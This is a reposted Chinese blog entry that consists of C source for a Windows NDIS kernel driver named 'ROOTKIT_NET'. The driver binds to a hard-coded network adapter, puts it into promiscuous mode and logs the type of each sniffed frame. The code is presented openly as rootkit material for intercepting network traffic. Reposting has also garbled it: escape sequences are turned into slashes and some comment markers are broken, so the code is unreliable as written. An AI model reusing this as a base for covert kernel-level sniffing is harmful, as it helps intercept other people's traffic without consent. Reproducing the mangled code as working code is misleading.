系统底层ROOKIT拦截网络数据

最新推荐文章于 2024-10-01 09:15:46 发布

wind0513

最新推荐文章于 2024-10-01 09:15:46 发布

阅读量606

点赞数

文章标签：网络 string structure wince binding network

本文链接：https://blog.csdn.net/wind0513/article/details/5341006

版权

#include "ntddk.h"

// important!! place this before ndis.h
#define NDIS40 1

#include "ndis.h"
#include "stdio.h"

//
// prototypes for all our network callbacks
//
VOID OnOpenAdapterDone ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status, IN NDIS_STATUS OpenErrorStatus );
VOID OnCloseAdapterDone ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status );
VOID OnSendDone   ( IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_PACKET pPacket, IN NDIS_STATUS Status );
VOID OnTransferDataDone ( IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_PACKET Packet, IN NDIS_STATUS Status, IN UINT BytesTransferred );
VOID OnResetDone ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status );
VOID OnRequestDone ( IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_REQUEST pRequest, IN NDIS_STATUS Status );
NDIS_STATUS OnReceiveStub      ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_HANDLE MacReceiveContext, IN PVOID HeaderBuffer, IN UINT HeaderBufferSize, IN PVOID LookAheadBuffer, IN UINT LookaheadBufferSize, IN UINT PacketSize );
VOID OnReceiveDoneStub ( IN NDIS_HANDLE ProtocolBindingContext );
VOID OnStatus   ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status, IN PVOID StatusBuffer, IN UINT StatusBufferSize );
VOID OnStatusDone ( IN NDIS_HANDLE ProtocolBindingContext );
VOID OnBindAdapter ( OUT PNDIS_STATUS theStatus, IN NDIS_HANDLE theBindContext, IN PNDIS_STRING theDeviceNameP, IN PVOID theSS1, IN PVOID theSS2 );
VOID OnUnbindAdapter ( OUT PNDIS_STATUS theStatus, IN NDIS_HANDLE theBindContext, IN PNDIS_HANDLE theUnbindContext );
VOID OnUnload   ( IN PDRIVER_OBJECT DriverObject );

NDIS_STATUS OnPNPEvent( IN NDIS_HANDLE ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent);

VOID OnProtocolUnload( VOID );
INT OnReceivePacket( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET Packet );

struct UserStruct
{
ULONG mData;
} gUserStruct;

// handle to the open network adapter
NDIS_HANDLE gAdapterHandle;
NDIS_HANDLE gNdisProtocolHandle;
NDIS_EVENT gCloseWaitEvent;

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
UINT aMediumIndex = 0;
NDIS_STATUS aStatus, anErrorStatus;
NDIS_MEDIUM aMediumArray=NdisMedium802_3; // we only try 802.3
UNICODE_STRING anAdapterName;
NDIS_PROTOCOL_CHARACTERISTICS aProtocolChar;
NDIS_STRING aProtoName = NDIS_STRING_CONST("ROOTKIT_NET");
DbgPrint("ROOTKIT Loading...");

/
// Very Important !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
// Hard code this binding string to the adapter you wish to sniff
//
// obtain this from the registry:
// HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/NetworkCards
// -or-
// HKLM/SYSTEM/CurrentControlSet/Services/TcpIp/Linkage
//
//
/*
On my system I have the following linkages:

   /Device/{6C0B978B-812D-4621-A30B-FD72F6C446AF} ORiNOCO Wireless LAN PC Card (5 volt)
   /Device/{E30AAA3E-044E-40D3-A8FE-64CC01F2B9B5}
   /Device/{5436B920-2709-4250-918D-B4ED3BB8CF9A} Dell TrueMobile 1150 Series Wireless LAN Mini PCI Card
   /Device/{5A6C6428-C5F2-4BA5-A469-49F607B369F2} 1394 Net Adapter
   /Device/{357AC276-D8E7-47BF-954D-F3123D3319BD} 3Com 3C920 Integrated Fast Ethernet Controller (3C905C-TX Compatible)
   /Device/{6D615BDB-A6C2-471D-992E-4C0B431334F1} 1394 Net Adapter
   /Device/{83EE41D0-5088-4CC7-BC99-CEA55D5662D2} 3Com 3C920 Integrated Fast Ethernet Controller (3C905C-TX Compatible)
   /Device/NdisWanIp
   /Device/{147E65D7-4065-4249-8679-F79DB39CFC27}
   /Device/{6AB35A1D-6D0B-45CA-9F1C-CD125F950D6F}
*/
//
// the format of the string is /Device/{GUID}
/
RtlInitUnicodeString( &anAdapterName, L"//Device//{A8500B8B-59F6-4215-90FA-80811CF765A4}" );
// init sync event for close
NdisInitializeEvent(&gCloseWaitEvent);

//__asm int 3

theDriverObject->DriverUnload = OnUnload;

// init network sniffer - this is all standard and
// documented in the DDK.

RtlZeroMemory( &aProtocolChar,
   sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
aProtocolChar.MajorNdisVersion            = 4;
aProtocolChar.MinorNdisVersion            = 0;
aProtocolChar.Reserved                    = 0;
aProtocolChar.OpenAdapterCompleteHandler = OnOpenAdapterDone;
aProtocolChar.CloseAdapterCompleteHandler = OnCloseAdapterDone;
aProtocolChar.SendCompleteHandler         = OnSendDone;
aProtocolChar.TransferDataCompleteHandler = OnTransferDataDone;

aProtocolChar.ResetCompleteHandler        = OnResetDone;
aProtocolChar.RequestCompleteHandler      = OnRequestDone;
aProtocolChar.ReceiveHandler              = OnReceiveStub;
aProtocolChar.ReceiveCompleteHandler      = OnReceiveDoneStub;
aProtocolChar.StatusHandler               = OnStatus;
aProtocolChar.StatusCompleteHandler       = OnStatusDone;
aProtocolChar.Name                        = aProtoName;
aProtocolChar.BindAdapterHandler    = OnBindAdapter;
aProtocolChar.UnbindAdapterHandler       = OnUnbindAdapter;
    aProtocolChar.UnloadHandler      = OnProtocolUnload;

aProtocolChar.ReceivePacketHandler = OnReceivePacket;
aProtocolChar.PnPEventHandler = OnPNPEvent;

DbgPrint("ROOTKIT: Registering NDIS Protocol/n");

// we have to register a protocol before we can bind to the
// MAC
NdisRegisterProtocol( &aStatus,
             &gNdisProtocolHandle,
             &aProtocolChar,
             sizeof(NDIS_PROTOCOL_CHARACTERISTICS));

if (aStatus != NDIS_STATUS_SUCCESS)
{
char _t[255];
_snprintf(_t, 253, "DriverEntry: ERROR NdisRegisterProtocol failed with error 0x%08X", aStatus);
DbgPrint(_t);
return aStatus;
}

// NdisOpenAdapter opens a connection between the protocol
// and the physical adapter (MAC layer)
NdisOpenAdapter(
&aStatus,         // return code
&anErrorStatus,        // return code
&gAdapterHandle,       // returns a handle to the binding
&aMediumIndex,        // ptr to int which is an
             // index into a 'medium' array - indicates what
             // the MAC should be 'viewed' as
&aMediumArray,        // array of 'medium' types
1,           // number of elements in the 'medium' array
gNdisProtocolHandle,      // the handle returned from NdisRegisterProtocol
&gUserStruct,        // ptr to a user controlled structure, this is up to the programmer
&anAdapterName,        // name of the adapter to be opened
0,           // bit mask of options
NULL);          // ptr to additional info to pass to MacOpenAdapter

if (aStatus != NDIS_STATUS_PENDING)
{
if(FALSE == NT_SUCCESS(aStatus))
{
   /
   // something bad happened, close everything down
   /
   char _t[255];
   _snprintf(_t, 253, "ROOTKIT: NdisOpenAdapter returned an error 0x%08X", aStatus);
   DbgPrint(_t);
   // helpful hint
   if(NDIS_STATUS_ADAPTER_NOT_FOUND == aStatus)
   {
    DbgPrint("NDIS_STATUS_ADAPTER_NOT_FOUND");
   }

   // Remove the protocol or suffer a BSOD!
   NdisDeregisterProtocol( &aStatus, gNdisProtocolHandle);
   if(FALSE == NT_SUCCESS(aStatus))
   {
    DbgPrint("DeregisterProtocol failed!");
   }
   // use for winCE -- NdisFreeEvent(gCloseWaitEvent);

   return STATUS_UNSUCCESSFUL;
}
else
{
   OnOpenAdapterDone(
    &gUserStruct,
    aStatus,
    NDIS_STATUS_SUCCESS
    );
}
}
return STATUS_SUCCESS;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
NDIS_STATUS Status;

DbgPrint("ROOTKIT: OnUnload called/n");

NdisResetEvent(&gCloseWaitEvent);

NdisCloseAdapter(
&Status,
gAdapterHandle);

// we must wait for this to complete
// ---------------------------------
if(Status == NDIS_STATUS_PENDING)
{
DbgPrint("rootkit: OnUnload: pending wait event/n");
NdisWaitEvent(&gCloseWaitEvent, 0);
}

NdisDeregisterProtocol( &Status, gNdisProtocolHandle);
if(FALSE == NT_SUCCESS(Status))
{
DbgPrint("DeregisterProtocol failed!");
}

// use for winCE -- NdisFreeEvent(gCloseWaitEvent);

DbgPrint("rootkit: OnUnload: NdisCloseAdapter() done/n");
}

VOID
OnOpenAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,
       IN NDIS_STATUS Status,
       IN NDIS_STATUS OpenErrorStatus )
{
NDIS_REQUEST      anNdisRequest;
NDIS_STATUS       anotherStatus;
ULONG     aMode = NDIS_PACKET_TYPE_PROMISCUOUS;

DbgPrint("ROOTKIT: OnOpenAdapterDone called/n");

if(NT_SUCCESS(OpenErrorStatus))
{
// put the card into promiscuous mode
anNdisRequest.RequestType = NdisRequestSetInformation;
anNdisRequest.DATA.SET_INFORMATION.Oid = OID_GEN_CURRENT_PACKET_FILTER;
anNdisRequest.DATA.SET_INFORMATION.InformationBuffer = &aMode;
anNdisRequest.DATA.SET_INFORMATION.InformationBufferLength = sizeof(ULONG);

NdisRequest( &anotherStatus,
      gAdapterHandle,
      &anNdisRequest
      );
}
else
{
char _t[255];
_snprintf(_t, 252, "OnOpenAdapterDone called with error code 0x%08X", OpenErrorStatus);
DbgPrint(_t);
}
}

VOID
OnCloseAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnCloseAdapterDone called/n");

// sync with unload event
NdisSetEvent(&gCloseWaitEvent);
}

VOID
OnSendDone( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET pPacket,
IN NDIS_STATUS Status )
{

DbgPrint("ROOTKIT: OnSendDone called/n");
}

VOID
OnTransferDataDone ( IN NDIS_HANDLE thePBindingContext,
      IN PNDIS_PACKET thePacketP,
      IN NDIS_STATUS theStatus,
      IN UINT theBytesTransfered )
{
DbgPrint("ROOTKIT: OnTransferDataDone called/n");
}

/* a packet has arrived */
NDIS_STATUS
OnReceiveStub( IN NDIS_HANDLE ProtocolBindingContext, /* our open structure */
      IN NDIS_HANDLE MacReceiveContext,
      IN PVOID HeaderBuffer, /* ethernet header */
      IN UINT HeaderBufferSize,
      IN PVOID LookAheadBuffer, /* it is possible to have entire packet in here */
      IN UINT LookaheadBufferSize,
      UINT PacketSize )
{
char _t[255];
UINT aFrameType = 0;
// report the frame type to the debugger
memcpy(&aFrameType, ( ((char *)HeaderBuffer) + 12), 2);
_snprintf(_t, 253, "sniffed frame type %u, packetsize %u", aFrameType, PacketSize);
DbgPrint(_t);

// ignore everything
return NDIS_STATUS_NOT_ACCEPTED;
}

VOID
OnReceiveDoneStub( IN NDIS_HANDLE ProtocolBindingContext )
{
DbgPrint("ROOTKIT: OnReceiveDoneStub called/n");
return;
}

VOID
OnStatus( IN NDIS_HANDLE ProtocolBindingContext,
    IN NDIS_STATUS Status,
    IN PVOID StatusBuffer,
    IN UINT StatusBufferSize )
{
    DbgPrint("ROOTKIT: OnStatus called/n");
return;
}

VOID
OnStatusDone( IN NDIS_HANDLE ProtocolBindingContext )
{
DbgPrint("ROOTKIT:OnStatusDone called/n");
return;
}

VOID OnResetDone( IN NDIS_HANDLE ProtocolBindingContext,
      IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnResetDone called/n");
    return;
}

VOID
OnRequestDone( IN NDIS_HANDLE ProtocolBindingContext,
      IN PNDIS_REQUEST NdisRequest,
      IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnRequestDone called/n");
    return;
}

VOID OnBindAdapter( OUT PNDIS_STATUS theStatus,
      IN NDIS_HANDLE theBindContext,
      IN PNDIS_STRING theDeviceNameP,
      IN PVOID theSS1,
      IN PVOID theSS2 )
{
DbgPrint("ROOTKIT: OnBindAdapter called/n");
    return;
}

VOID OnUnbindAdapter( OUT PNDIS_STATUS theStatus,
      IN NDIS_HANDLE theBindContext,
      IN PNDIS_HANDLE theUnbindContext )
{
DbgPrint("ROOTKIT: OnUnbindAdapter called/n");
    return;
}

NDIS_STATUS OnPNPEvent( IN NDIS_HANDLE ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent)
{
DbgPrint("ROOTKIT: PtPnPHandler called");
return NDIS_STATUS_SUCCESS;
}

VOID OnProtocolUnload( VOID )
{
DbgPrint("ROOTKIT: OnProtocolUnload called");
return;
}

INT OnReceivePacket( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET Packet )
{
DbgPrint("ROOTKIT: OnReceivePacket called/n");
return 0;
}

本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/yincheng01/archive/2009/06/26/4300189.aspx